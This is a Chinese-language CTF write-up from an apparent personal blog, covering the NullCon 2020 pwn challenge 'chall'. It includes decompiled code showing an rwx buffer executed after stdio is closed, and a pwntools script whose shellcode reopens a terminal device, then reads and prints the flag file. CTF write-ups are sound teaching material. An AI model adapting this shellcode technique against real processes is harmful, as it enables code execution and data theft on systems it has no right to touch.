NullConCTF2020
NULLCON CTF Pwn
一道关闭stdout
的漏洞利用题。
Note
stdin, stdout, stderr
是 libc
的三个标准文件的指针,指向的数据结构是_IO_FILE
,只有引用了,这些符号才出现在ELF中。_IO_FILE._fileno
的值是文件描述符 fd
,三个标准文件对应的 fd
是 0 1 2
fd
是文件描述符。 程序引用文件,文件和 fd
绑定。fd=0
的关联文件可以通过命令file /proc/pid/fd/0
查看。0 1 2
关联的文件均是 /dev/pts/xx
。 /dev/pts/xx
是当前会话终端设备文件。
Reversing
- 申请4页内存,权限
rwx
- 在
v6
写入字节 child_do
参数为函数指针。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int16 v3; // ax
__int16 v4; // ax
__pid_t v5; // [rsp+24h] [rbp-3Ch]
_BYTE *v6; // [rsp+38h] [rbp-28h]
v3 = getpagesize();
v6 = mmap(0LL, ~(v3 - 1) & 0x4000, 7, 34, -1, 0LL);
if ( !v6 )
__assert_fail("psc != NULL", "chall.c", 0x5Cu, "int main(int, char **)");
fflush(stdout);
v4 = getpagesize();
v6[(signed int)read(0, v6, ~(v4 - 1) & 0x4000)] = 0xC3u;
v5 = fork();
if ( v5 < 0 )
perror("fork");
if ( v5 > 0 )
{
wait(0LL);
exit(0);
}
child_do((void (__fastcall *)(_QWORD, signed __int64))v6);
- 关闭
stdin stdout stderr
- 将
/dev/null
设备(device) 映射到fd 0 1 2
- 参数
a1
任意代码执行。
void __fastcall __noreturn child_do(void (__fastcall *a1)(_QWORD, signed __int64))
{
unsigned int fd; // ST24_4
fclose(stdin);
fclose(stdout);
fclose(stderr);
fd = open("/dev/null", 2);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
a1(fd, 2LL);
exit(0);
}
Exploit
open("/dev/pts/5",2); fd=3
open("./flag",1); fd=4
read(4,flag,0x20);
``write(3,flag,0x20);`
#! env /usr/bin/python
#coding=utf8
from pwn import *
pr=process('./chall')
context.arch='amd64'
def pdbg(p,init='',syms=None):
context.terminal=['tmux','split','-h']
dbg_syms=syms
int_cmds=init
if syms!=None:
for each in dbg_syms.keys():
int_cmds+='set $'+each+'='+str(dbg_syms[each])+'\n'
print(each,str(dbg_syms[each]))
gdb.attach(pr,int_cmds)
#pdbg(pr,'b *0x00400A14')
# stdout->_fileno=1;
# stdout->_flags=0xfbad2084;
#open("/dev/pts/5",2); fd=3
#open("./flag",1); fd=4
#read(4,flag,0x20);
#write(3,flag,0x20);
# 0x40081a <test10+19> mov rax, qword ptr [rip + 0x20085f] <0x601080>
# ► 0x400821 <test10+26> mov dword ptr [rax + 0x70], 1 <0x7ffff7dd07d0>
# 0x400828 <test10+33> mov rax, qword ptr [rip + 0x200851] <0x601080>
# 0x40082f <test10+40> mov dword ptr [rax], 0xfbad2084
stdout=0x06010A0
open_got=0x601050
write_got=0x601018
def Pasm(cmds):
res=''
for each in cmds:
res += asm(each)
return res
payload = Pasm(
[
'mov rdx, 0x00352f',#open("/dev/pts/5",2); fd=3
'push rdx',
'mov rdx, 0x7374702f7665642f',
"push rdx",
'mov rdi,rsp',
'mov rsi,2',
"mov rax,qword ptr[0x601050]",
"call rax" ,
'mov rdx,0x067616c662f2e',
'push rdx',
'mov rdi,rsp',
'mov rsi,0',
'mov rax,qword ptr[0x601050]',
"call rax",
'mov rdx,0x20',
'mov rdi,0x4',
'mov rsi,0x6015a0',
'mov rax,qword ptr[0x601040]',
'call rax',
'mov rsi,0x6015a0',
'mov rdi, 3',
'mov rdx,0x20',
'mov rax,qword ptr[0x601018]',
'call rax'
]
)
pr.send(payload)
pr.interactive()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:NullConCTF2020
本文作者:枫云李
发布时间:2020-02-10, 00:00:00
最后更新:2020-04-11, 01:16:08
原始链接:https://primelyw.github.io/2020/02/10/NullConCTF2020/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。